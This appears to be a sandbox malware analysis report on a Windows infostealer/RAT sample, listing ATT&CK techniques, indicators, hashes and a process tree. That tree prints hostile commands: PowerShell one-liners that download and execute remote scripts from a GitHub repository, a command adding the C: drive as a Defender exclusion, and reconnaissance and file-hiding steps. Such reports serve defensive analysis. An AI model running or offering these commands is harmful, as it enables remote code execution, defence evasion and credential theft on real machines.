4f2da78c81c55d331bf46d7f48d91cf1f289ad56a01d91eb2000654bde8503b0

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
28/09/2024, 16:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe
Size

14.0MB
MD5

8325addc1d627aeeac3fbbf5c4f91033
SHA1

002f224b2663e4213687305c2deab2187cd3ddd8
SHA256

4f2da78c81c55d331bf46d7f48d91cf1f289ad56a01d91eb2000654bde8503b0
SHA512

6d2a06bb116b596006db750a5c7b354eddec43a2d8ad3d6d863d8088f675ae7c2302a6d6ade14d3ea6d7f83fe2e980cf500629e7cbfc84b4caccd265e9f2e5a8
SSDEEP

196608:tBhcxcjgzR5JKH6KbJLFfI6OB/zIf8ryQ5S:toxl54H6KbhFfpOlzIfxA

Score

9^/10

discovery evasion execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	4824	powershell.exe
11	1632	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
532	powershell.exe
1632	powershell.exe
4824	powershell.exe
5000	PowerShell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4416	netsh.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
11	raw.githubusercontent.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3452	ARP.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1164	netsh.exe
2460	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
1568	NETSTAT.EXE

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1568	NETSTAT.EXE
408	ipconfig.exe
2256	ipconfig.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4824	powershell.exe
532	powershell.exe
1632	powershell.exe
5000	PowerShell.exe
532	powershell.exe
1632	powershell.exe
4824	powershell.exe
5000	PowerShell.exe
1632	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	5000	PowerShell.exe
Token: 33	1496	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1496	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe
Token: SeManageVolumePrivilege	1632	powershell.exe
Token: 33	1632	powershell.exe
Token: 34	1632	powershell.exe
Token: 35	1632	powershell.exe
Token: 36	1632	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe
Token: SeManageVolumePrivilege	1632	powershell.exe
Token: 33	1632	powershell.exe
Token: 34	1632	powershell.exe
Token: 35	1632	powershell.exe
Token: 36	1632	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	powershell.exe
Token: SeSecurityPrivilege	1632	powershell.exe
Token: SeTakeOwnershipPrivilege	1632	powershell.exe
Token: SeLoadDriverPrivilege	1632	powershell.exe
Token: SeSystemProfilePrivilege	1632	powershell.exe
Token: SeSystemtimePrivilege	1632	powershell.exe
Token: SeProfSingleProcessPrivilege	1632	powershell.exe
Token: SeIncBasePriorityPrivilege	1632	powershell.exe
Token: SeCreatePagefilePrivilege	1632	powershell.exe
Token: SeBackupPrivilege	1632	powershell.exe
Token: SeRestorePrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeSystemEnvironmentPrivilege	1632	powershell.exe
Token: SeRemoteShutdownPrivilege	1632	powershell.exe
Token: SeUndockPrivilege	1632	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 3848 wrote to memory of 1632	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	83
PID 3848 wrote to memory of 1632	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	83
PID 3848 wrote to memory of 4824	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	85
PID 3848 wrote to memory of 4824	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	85
PID 3848 wrote to memory of 3016	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	86
PID 3848 wrote to memory of 3016	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	86
PID 3848 wrote to memory of 532	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	87
PID 3848 wrote to memory of 532	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	87
PID 3848 wrote to memory of 5000	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	88
PID 3848 wrote to memory of 5000	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	88
PID 3848 wrote to memory of 3868	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	89
PID 3848 wrote to memory of 3868	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	89
PID 3848 wrote to memory of 4556	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	90
PID 3848 wrote to memory of 4556	3848	2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe	90
PID 3868 wrote to memory of 1892	3868	cmd.exe	91
PID 3868 wrote to memory of 1892	3868	cmd.exe	91
PID 1632 wrote to memory of 2996	1632	powershell.exe	92
PID 1632 wrote to memory of 2996	1632	powershell.exe	92
PID 4824 wrote to memory of 2084	4824	powershell.exe	93
PID 4824 wrote to memory of 2084	4824	powershell.exe	93
PID 2996 wrote to memory of 2656	2996	csc.exe	94
PID 2996 wrote to memory of 2656	2996	csc.exe	94
PID 2084 wrote to memory of 4800	2084	csc.exe	95
PID 2084 wrote to memory of 4800	2084	csc.exe	95
PID 1632 wrote to memory of 1164	1632	powershell.exe	97
PID 1632 wrote to memory of 1164	1632	powershell.exe	97
PID 1632 wrote to memory of 3840	1632	powershell.exe	99
PID 1632 wrote to memory of 3840	1632	powershell.exe	99
PID 3840 wrote to memory of 5008	3840	net.exe	100
PID 3840 wrote to memory of 5008	3840	net.exe	100
PID 1632 wrote to memory of 4416	1632	powershell.exe	101
PID 1632 wrote to memory of 4416	1632	powershell.exe	101
PID 1632 wrote to memory of 2040	1632	powershell.exe	102
PID 1632 wrote to memory of 2040	1632	powershell.exe	102
PID 1632 wrote to memory of 4116	1632	powershell.exe	103
PID 1632 wrote to memory of 4116	1632	powershell.exe	103
PID 4116 wrote to memory of 4092	4116	net.exe	104
PID 4116 wrote to memory of 4092	4116	net.exe	104
PID 1632 wrote to memory of 408	1632	powershell.exe	105
PID 1632 wrote to memory of 408	1632	powershell.exe	105
PID 1632 wrote to memory of 4156	1632	powershell.exe	106
PID 1632 wrote to memory of 4156	1632	powershell.exe	106
PID 4156 wrote to memory of 392	4156	net.exe	107
PID 4156 wrote to memory of 392	4156	net.exe	107
PID 1632 wrote to memory of 2032	1632	powershell.exe	108
PID 1632 wrote to memory of 2032	1632	powershell.exe	108
PID 1632 wrote to memory of 1568	1632	powershell.exe	109
PID 1632 wrote to memory of 1568	1632	powershell.exe	109
PID 1632 wrote to memory of 4180	1632	powershell.exe	110
PID 1632 wrote to memory of 4180	1632	powershell.exe	110
PID 1632 wrote to memory of 2256	1632	powershell.exe	111
PID 1632 wrote to memory of 2256	1632	powershell.exe	111
PID 1632 wrote to memory of 4320	1632	powershell.exe	112
PID 1632 wrote to memory of 4320	1632	powershell.exe	112
PID 1632 wrote to memory of 3452	1632	powershell.exe	113
PID 1632 wrote to memory of 3452	1632	powershell.exe	113
PID 1632 wrote to memory of 2460	1632	powershell.exe	114
PID 1632 wrote to memory of 2460	1632	powershell.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4556	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-09-28_8325addc1d627aeeac3fbbf5c4f91033_poet-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1r2y2azh\1r2y2azh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBCB8.tmp" "c:\Users\Admin\AppData\Local\Temp\1r2y2azh\CSCBC0074DB8DAC4611A5B6A2FC34CDFD.TMP"
      4⤵
      PID:2656
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1164
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators
      4⤵
      PID:5008
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4416
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /all
    3⤵
    PID:2040
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4092
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /displaydns
    3⤵
    - Gathers network information
    PID:408
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      PID:392
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
    3⤵
    PID:2032
- - C:\Windows\system32\NETSTAT.EXE
    "C:\Windows\system32\NETSTAT.EXE" -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    PID:1568
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
    3⤵
    PID:4180
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /all
    3⤵
    - Gathers network information
    PID:2256
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print
    3⤵
    PID:4320
- - C:\Windows\system32\ARP.EXE
    "C:\Windows\system32\ARP.EXE" -a
    3⤵
    - Network Service Discovery
    PID:3452
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profile
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lwssqd5x\lwssqd5x.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBCB9.tmp" "c:\Users\Admin\AppData\Local\Temp\lwssqd5x\CSC1FAFC1239F094973A722A89F344DB6E0.TMP"
      4⤵
      PID:4800
- C:\Windows\system32\cmd.exe
  cmd.exe /c start facebook.com
  2⤵
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
  PowerShell -Command "(New-Object -ComObject SAPI.SpVoice).Speak(\"hey hey\")"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\system32\cmd.exe
  cmd /c rundll32.exe user32.dll,SwapMouseButton
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\rundll32.exe
    rundll32.exe user32.dll,SwapMouseButton
    3⤵
    PID:1892
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
  2⤵
  - Views/modifies file attributes
  PID:4556

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x470
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
23aba7e7ecd37fd9f076dbd4d6e981e2

SHA1
40150b7db90f125b7b1c7cae65250f3a13a5bbb3

SHA256
a67ce8b05ec37c76167b8769946b840cee681b0c3a19b8d7c56835ad21221b12

SHA512
fce8455921832c8960e1aa783091b83fe17aa885b0a86e92d2ada35c76bfc79122d90b0260f6571018d7317ffee0c3bedc7f0bbf4d21a41e77d02e25892d3c9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
95eb7f09542bb10bc00180cf990a7da7

SHA1
512a6dbf17de372886fa01b3e36ff4132f3789dc

SHA256
6d549e706c7511fba40ec9201532291b07bc089442fe581b403bf1ae06242516

SHA512
cc6e39d23416c5d38e85718e7375834f149df316241a672325842815aafc383826c164dce42329f4da57799a77583b60f41f5f72f701e6ad292cf4ed78e1f22e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
820128764c07552628e15dc57e1a2b89

SHA1
9613a355ee0f83dc8bc878997208feaaca245a14

SHA256
d56c95e8d92341bbc8138e44205c5b8c4719e74e7bd0e5bb96a995b2b5f4c9f9

SHA512
9dadd04db6371f855e316b995a76054f3062eeb9f78469ed52d9c7b140664c19c76230affc477e8e1ba8512e04ec656bf96cb294fa687470a8bffa519c4bef9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1r2y2azh\1r2y2azh.dll

Filesize
4KB

MD5
9fd8972bdc599e9bcede31ac59f515bd

SHA1
4ba0a8c99becab570a90bb54f7da56a9e5b611c5

SHA256
b3b43bdb01b843d0b2d41b00628f5cf63c4e476544e4f5457b851466f807e6d3

SHA512
e92c5feae63e68d1d5465ab3c81bf446e202d0980c8e2b3ab75dbe0508bd926538f64859f3d3bde7c09effd86e4725d281d0ef89215d30fccb5a64e9453caa03

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBCB8.tmp

Filesize
1KB

MD5
a270d156c36282d39c142d314dfa4122

SHA1
d2284fdc6df5616bb9ba05a6002b3034ac8ef6ff

SHA256
95fba81d5b8027e56046ecfb7edb879530c7d597ac69d0e1d5abf0f43cf85304

SHA512
c34d8505fd8487f93f498798e0c52b24f6892cfc39f19c0c11929abf4285a167fd902682655b4564b2f466ba8a4fc1b78b29907f7f3738ac95209015cf5c920d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBCB9.tmp

Filesize
1KB

MD5
21245e98b2ecf283865a1aeb4a8c078a

SHA1
8b417f9e6c98ed0f9081476e4f01e1e1f58d4a0f

SHA256
02df4c0ec02ef36d4bdcacfdefd718a83bb5027a3daca144ff7211fd5d7363eb

SHA512
31a79efeab96af132197e2e15b9285a5b72bc138cc54db6f0a5023779f70cd448873a702dd8769604be1f6c5b68a105098ea48fdc98186e14f43e17e26e2abbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt

Filesize
22KB

MD5
babade175009ed938fb876a418917c16

SHA1
d93d4c02623dd9442e9b8fbcc5454ad104b0db3a

SHA256
8c210e30b68c5407e88b39b492b4a501bcff593564039e3829d7edcf8d744c8d

SHA512
baf4aebc420140a566cd836c367089d0638cb9a6846590f3e9cbbb026d32acb01e0bc02bce943d93ba1e546acd0ebe7365fec0976c7f1c4f757bacfaf314fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ailmg4e.f3z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\lwssqd5x\lwssqd5x.dll

Filesize
4KB

MD5
8dec3d13e1500660ca44e0b782964a10

SHA1
1da2dfc82fe5d9487e293d26bfcbd4aeed9ebae4

SHA256
dfbe9cbc4411e92045dec77e4f85da45256fee7ec976558ed98afdebb5c3e373

SHA512
52c35968ccc58d02aff4f79e7b98e24a4c54fde86b9bb134c30fe09ef55d9348ae9c59ccaf1f8710aaeb154a90537a5b20dc757e872800e50f3bab96aad62e2b

Download Submit
C:\Users\Admin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

Filesize
2KB

MD5
9758656bbe8589c66bb241b052490c72

SHA1
b73da83fb3ae6b86c6365769a04de9845d5c602c

SHA256
e4bfe191530cc53138c4a265755539f8a115f7828faba79dfac91f3184b26351

SHA512
da9a8ecba8c2071e467f2d72fac524843fb0011c8486dd95e8b948b1c7f91bf02bcb80c20a01eddb6971b96db5ebde5f7c4c607e6b6d15e75d971ea104436e34

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1r2y2azh\1r2y2azh.0.cs

Filesize
1KB

MD5
8a1e7edb2117ec5dde9a07016905923b

SHA1
0155dbeeb16333e2eaa767b0209750efee56f47f

SHA256
c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007

SHA512
4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1r2y2azh\1r2y2azh.cmdline

Filesize
369B

MD5
0776bc4dea5de86e11438cd8e0c7fc52

SHA1
ed5ad937770bb19cc676096b3c6354dcbec03bc4

SHA256
87e77e5b4ec7579962b799fec5236646e6a5bfde3b4880a36160c3b20b2bf461

SHA512
9355a1f753c24db30dbebf47330d0f1b791b92976892030bf794216fe1bb1c18df7f164c964585451150735ec6ac0b5b19054bc0080b2dff9a58345b3636ad49

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1r2y2azh\CSCBC0074DB8DAC4611A5B6A2FC34CDFD.TMP

Filesize
652B

MD5
8ce68f00181b22d64ac3ad8cd83ad27b

SHA1
4d3780257d3c0202bb1480b599c3ffa96d011d2a

SHA256
377539607f04e9eec5ccb1a33d46b384bb7af0965d83cc212f146a75d0b0b88a

SHA512
6f8b21988d4cff72cec795b5e42913718de47b69a1f427aad73c519f35c07759de897bbd167a0bfabb741a975ef64ca98113ed73b48e2c4de5605dd461c34b9d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\lwssqd5x\CSC1FAFC1239F094973A722A89F344DB6E0.TMP

Filesize
652B

MD5
56da6c3378cc5e57791c5369ea19df59

SHA1
0557970f1a811253081996e0a77ac2bcc1231d7c

SHA256
30538a1781cc93fc19be527f6d0b2603a5f6f46ce380e38e75ea8261d0901a92

SHA512
8d046e72bf9fb8ad67abd156aac5f8f74b28c7bd5bfdc9f941bb6a49dbb32c11c2d46a1526f6625fab2611982e9567c8ff8a9ba70db4e407fb9befdcca92218e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\lwssqd5x\lwssqd5x.cmdline

Filesize
369B

MD5
bd43763b4f912dbbcff99c59e8c4a338

SHA1
66d9632ac2d8adcb40c0edb5554b1c3689d05e53

SHA256
b178e0ed4910461c0695f0115f068fd160df79b4255420759ed2361a250e22eb

SHA512
a0bd44dd88b726af6c4ace5c645b85aae771c6e3713c3c122c94842e71b3be25e32547aee2ff3dd6522724a83ab76f68222e6a9838ce92b6025322e4e97971f1

Download Submit
memory/532-24-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/532-75-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/532-43-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/532-8-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/1632-73-0x000001823F4E0000-0x000001823F4E8000-memory.dmp

Filesize
32KB

Download
memory/1632-124-0x00000182587D0000-0x00000182587DA000-memory.dmp

Filesize
40KB

Download
memory/1632-79-0x0000018258C40000-0x00000182593E6000-memory.dmp

Filesize
7.6MB

Download
memory/1632-123-0x00000182587E0000-0x00000182587F2000-memory.dmp

Filesize
72KB

Download
memory/1632-89-0x0000018258820000-0x0000018258844000-memory.dmp

Filesize
144KB

Download
memory/1632-88-0x0000018258820000-0x000001825884A000-memory.dmp

Filesize
168KB

Download
memory/4824-44-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/4824-85-0x00007FFAA7F40000-0x00007FFAA8A01000-memory.dmp

Filesize
10.8MB

Download
memory/4824-70-0x000001B9876A0000-0x000001B9876A8000-memory.dmp

Filesize
32KB

Download
memory/4824-0-0x00007FFAA7F43000-0x00007FFAA7F45000-memory.dmp

Filesize
8KB

Download
memory/4824-7-0x000001B99F730000-0x000001B99F752000-memory.dmp

Filesize
136KB

Download
